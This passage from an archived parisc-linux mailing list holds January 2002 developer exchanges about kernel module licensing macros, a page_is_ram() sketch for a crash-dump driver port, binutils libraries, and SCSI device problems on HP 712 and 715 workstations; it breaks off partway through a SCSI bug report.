Subject: Re: [parisc-linux] loading the dump modules: will taint the kernel.
Date: Wed, 09 Jan 2002 11:21:13 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <3C3C7C09.8060609@interaccess.com>
References: <3C3C79B1.2D4AF279@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620943 628 80.91.229.3 (22 Nov 2014 01:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:03 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  9 10:24:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d248.focal4.interaccess.com [207.208.139.248])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48237482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Jan 2002 10:24:10 -0700 (MST)
Original-Received: from interaccess.com (IDENT:LUuPB0/G417FdW96MuBjMvoSMUkzYyQ3@localhost.localdomain [127.0.0.1])
	by cactus.bheadley.org (8.11.6/8.11.6) with ESMTP id g09HLDA31947;
	Wed, 9 Jan 2002 11:21:19 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7) Gecko/20011221
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13658

Bruno Vidal wrote:

> 	Hi
> I've created a modules for the dump driver. When loading the
> modules I receive the following message:
> #insmod dump
> Using /lib/modules/2.4.17-pa3/kernel/drivers/dump/dump.o
> Warning: loading /lib/modules/2.4.17-pa3/kernel/drivers/dump/dump.o will taint the kernel: no license
> 
> But everything seems okay, the modules is here, everything is here ???
> What means this message ?
> 
> 	thanks.
> 
> 

Did you/Are you releasing this module under a GPL license? Then add to 
the source,

MODULE_AUTHOR("James Bottomley");
MODULE_DESCRIPTION("lasi700 SCSI Driver");
MODULE_LICENSE("GPL");
MODULE_PARM(lasi700, "s");

Of course, change the author, description and parameters. See 
include/linux/modules.h for docs, other macros. The other license types 
are listed in there, too.


-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com




From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc Dump: lkcd port.
Date: Wed, 09 Jan 2002 13:21:25 -0700
Lines: 60
Approved: news@gmane.org
Message-ID: <20020109202125.7AA66482A@dsl2.external.hp.com>
References: <3C3C73F5.139E3A6D@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620943 629 80.91.229.3 (22 Nov 2014 01:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:03 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  9 13:21:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7AA66482A; Wed,  9 Jan 2002 13:21:25 -0700 (MST)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Wed, 09 Jan 2002 17:46:45 +0100." <3C3C73F5.139E3A6D@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13659

Bruno Vidal wrote:
> 	Hi
> I've already ask in the past, if there was a dump driver
> for the linux parisc. The answer was no. So, because I've 
> litle time for It I've restart this port.

Oh - excellent!

> Now I've a question
> about a function used for Alpha and i386. 

and mips and mips64.

> In arch/alpha/kernel/setup.c and arch/i386/mm/init.c, there is
> a function called page_is_ram. It seems that this function is 
> used by the dump driver to know if a page is a physical page or 
> not. So my question is: does this function exist for parisc ?

No. I can think of two or three people who should offhand know how
to write this pretty quickly though - one of them is in transit
and the other won't see your mail for a few more hours.

My guess is page_is_ram() for parisc would like something like
the mips or i386 versions but use npmem_ranges (count) and
pmem_ranges[] (table physical page ranges):

/* leveraged from arch/mips/mm/init.c */
static inline int page_is_ram(unsigned long pagenr)
{
        int i;

        for (i = 0; i < npmem_ranges; i++) {
                unsigned long addr, end;

		/* Need to look for holes?
		** parisc doesn't support CONFIG_DISCONTIGMEM (yet?)

                if (pmem_holes[i].start_pfn ...)
                        continue;
		*/

                end = addr = pmem_ranges[i].start_pfn;
                end += pmem_ranges[i].pages;

                if (pagenr >= addr && pagenr < end)
                        return 1;
        }

        return 0;
}

I might be missing some shifting (PAGE_SHIFT) but that should be
easy to figure out.

hth,
grant

ps. I'm very excited to hear you are looking at this again! wohoo!



From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils: opcodes and bfd
Date: Thu, 10 Jan 2002 18:27:45 +0100
Organization: H.P
Lines: 42
Approved: news@gmane.org
Message-ID: <3C3DCF11.19BC5E24@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------DB0A62D197AC433E3651500E"
X-Trace: ger.gmane.org 1416620943 632 80.91.229.3 (22 Nov 2014 01:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:03 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 10:29:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E9A4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 10:29:51 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 0703DB6A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 18:29:43 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id SAA12713 for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 18:29:11 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13660

This is a multi-part message in MIME format.
--------------DB0A62D197AC433E3651500E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
First, thanks for your feedback, now the dump modules is working fine.
The system is able to dump. But now I need to modify the tool to retrieve
the dump. But I need bfd and opcode: libbfd.a and libopcode.a. It is part
of the binutil package. But in the last debian package this two librairies
are missing. And on CVS tree, there is no more binutil src. Where can I
find the latest binutil src, or where can I find a binutil package with
this two libraires. Another small problem, when using yacc on parisc
(ie: bison), the result is not the same on a i386 and parisc :-(.
I'll try tomorrow to recompile yacc.

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------DB0A62D197AC433E3651500E
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------DB0A62D197AC433E3651500E--




From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils: opcodes and bfd
Date: Thu, 10 Jan 2002 12:36:04 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200201101736.g0AHa4OE018716@hiauly1.hia.nrc.ca>
References: <3C3DCF11.19BC5E24@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620943 638 80.91.229.3 (22 Nov 2014 01:49:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bruno_vidal@hpfrcu03.france.hp.com (Bruno Vidal)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 10:36:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 28BF9482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 10:36:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0AHa47c018717;
	Thu, 10 Jan 2002 12:36:05 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0AHa4OE018716;
	Thu, 10 Jan 2002 12:36:04 -0500 (EST)
In-Reply-To: <3C3DCF11.19BC5E24@admin.france.hp.com> from "Bruno Vidal" at Jan 10, 2002 06:27:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13661

> are missing. And on CVS tree, there is no more binutil src. Where can I
> find the latest binutil src, or where can I find a binutil package with

<http://sources.redhat.com/binutils/>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sorin Ghinescu" <sghinesc@columbus.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/80 - 7cdroms - scsi prbl
Date: Thu, 10 Jan 2002 12:39:23 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <001001c199fd$ca7fe700$0800a8c0@beta>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620944 640 80.91.229.3 (22 Nov 2014 01:49:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:04 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 10:40:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from clmboh1-smtp3.columbus.rr.com (clmboh1-smtp3.columbus.rr.com [65.24.0.112])
	by dsl2.external.hp.com (Postfix) with ESMTP id D178A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 10:40:00 -0700 (MST)
Original-Received: from beta (dhcp065-024-157-127.columbus.rr.com [65.24.157.127])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id g0AHZEG23561
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 12:35:14 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13662

Hi guys,
I'm trying to install parisc-linux on 712/80.
I don't know if this is actually an OS problem or a hardware problem but
you may have experienced it and could help me.
I'm booting from my external cd-rom but it seems that the kernel is
fooled by something because it creates 7 cd-rom devices for all the scsi
targets available leaving no room for the hd. If I switch the cd-rom off
then I get 7 hds!
Has anyone experienced this?
Thanks
Sorin






From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils: opcodes and bfd
Date: Thu, 10 Jan 2002 17:52:08 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020110175208.A32712@parcelfarce.linux.theplanet.co.uk>
References: <3C3DCF11.19BC5E24@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620944 642 80.91.229.3 (22 Nov 2014 01:49:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:04 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 10:52:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3B5A4832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 10:52:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16OjN2-0008WT-00; Thu, 10 Jan 2002 17:52:08 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C3DCF11.19BC5E24@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Thu, Jan 10, 2002 at 06:27:45PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13663

On Thu, Jan 10, 2002 at 06:27:45PM +0100, Bruno Vidal wrote:
> First, thanks for your feedback, now the dump modules is working fine.
> The system is able to dump. But now I need to modify the tool to retrieve
> the dump. But I need bfd and opcode: libbfd.a and libopcode.a. It is part
> of the binutil package. But in the last debian package this two librairies
> are missing. And on CVS tree, there is no more binutil src. Where can I
> find the latest binutil src, or where can I find a binutil package with
> this two libraires. Another small problem, when using yacc on parisc
> (ie: bison), the result is not the same on a i386 and parisc :-(.
> I'll try tomorrow to recompile yacc.

sounds like you're missing the binutils-dev package.

what's the problem with yacc?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl
Date: Thu, 10 Jan 2002 11:45:32 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020110184532.9876E37D2B@carmen.fc.hp.com>
References: <001001c199fd$ca7fe700$0800a8c0@beta>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620944 643 80.91.229.3 (22 Nov 2014 01:49:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: "Sorin Ghinescu" <sghinesc@columbus.rr.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 11:45:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DE5E482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 11:45:34 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 1E9CBE004A6; Thu, 10 Jan 2002 13:45:33 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 9876E37D2B; Thu, 10 Jan 2002 11:45:32 -0700 (MST)
In-Reply-To: Your message of "Thu, 10 Jan 2002 12:39:23 EST."
             <001001c199fd$ca7fe700$0800a8c0@beta> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13664

"Sorin Ghinescu" writes...

> Hi guys,
> I'm trying to install parisc-linux on 712/80.
> I don't know if this is actually an OS problem or a hardware problem but
> you may have experienced it and could help me.
> I'm booting from my external cd-rom but it seems that the kernel is
> fooled by something because it creates 7 cd-rom devices for all the scsi
> targets available leaving no room for the hd. If I switch the cd-rom off
> then I get 7 hds!
> Has anyone experienced this?

Check and make sure that none of your scsi ids are conflicting, don't
forget the controller is at id 7. Also check your cables and termination.
If it still doesn't work try a different hard drive.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:21:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Testing SCSI Driver - 53c700 - 715/50 problem.
Date: Thu, 10 Jan 2002 13:52:52 -0500
Lines: 113
Approved: news@gmane.org
Message-ID: <20020110135252.E3075@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620945 646 80.91.229.3 (22 Nov 2014 01:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 10 11:51:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080C82B2487.cpe.net.cable.rogers.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFA6A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Jan 2002 11:51:55 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g0AIqqe03315
	for parisc-linux@lists.parisc-linux.org; Thu, 10 Jan 2002 13:52:52 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (34% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13665

PARISC'ers,

I have a stable cluster of 715/50's running 2.4.9-pa25.

In a recent attempt at moving to a newer kernel the following
problems started to crop up...

Originally 2.4.9-pa25 had to be booted with sim700=noneg:0xff,nodisc:0xff
or the SCSI drives would not respond to the driver. This was
understood since the driver was in development and did not support
all the required features.

In October a newer driver was merged into the tree... and herein
possibly lies the problem.

Most of my initial testing was with our 712/60 that had no issues.
However the 715/50's had other ideas...


---------------------------------
HD contains 0.9.3 latest install with a few apt-get upgrades.

/dev/sda1 = Swap
/dev/sda2 = ext2 /

Box is a 715/50

(2.4.17-pa6)
Searching for devices...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000 [0], versions 0x6, 0x0, 0x77
2. Scorpio Core BA (11) at 0xf082f000 [2], versions 0x7, 0x0, 0x70
3. Scorpio Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x7, 0x0, 0x71
4. Scorpio Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x7, 0x0, 0x72
5. Scorpio Core HIL (10) at 0xf0821000 [2/0/3], versions 0x7, 0x0, 0x73
6. Scorpio Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x7, 0x0, 0x75
7. Scorpio Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x7, 0x0, 0x75
8. Scorpio Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x7, 0x0, 0x74
9. Scorpio Audio (10) at 0xf1000000 [2/0/8], versions 0x7, 0x0, 0x7b
10. Scorpio (715/50) (0) at 0xfffbe000 [8], versions 0x310, 0x0, 0x4
11. Scorpio (1) at 0xfffbf000 [9], versions 0x17, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 50.000000 MHz
Asp version 1 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered


SCSI Disk Problems:
---------------------------------
Running 2.4.9-pa25 all is okay.

Kernel Parameters:
HOME=/ TERM=LINUX root=/dev/sda2 ip=bootp
console=ttyS0 sim700=noneg:0xff,nodisc:0xff

SCSI Output:
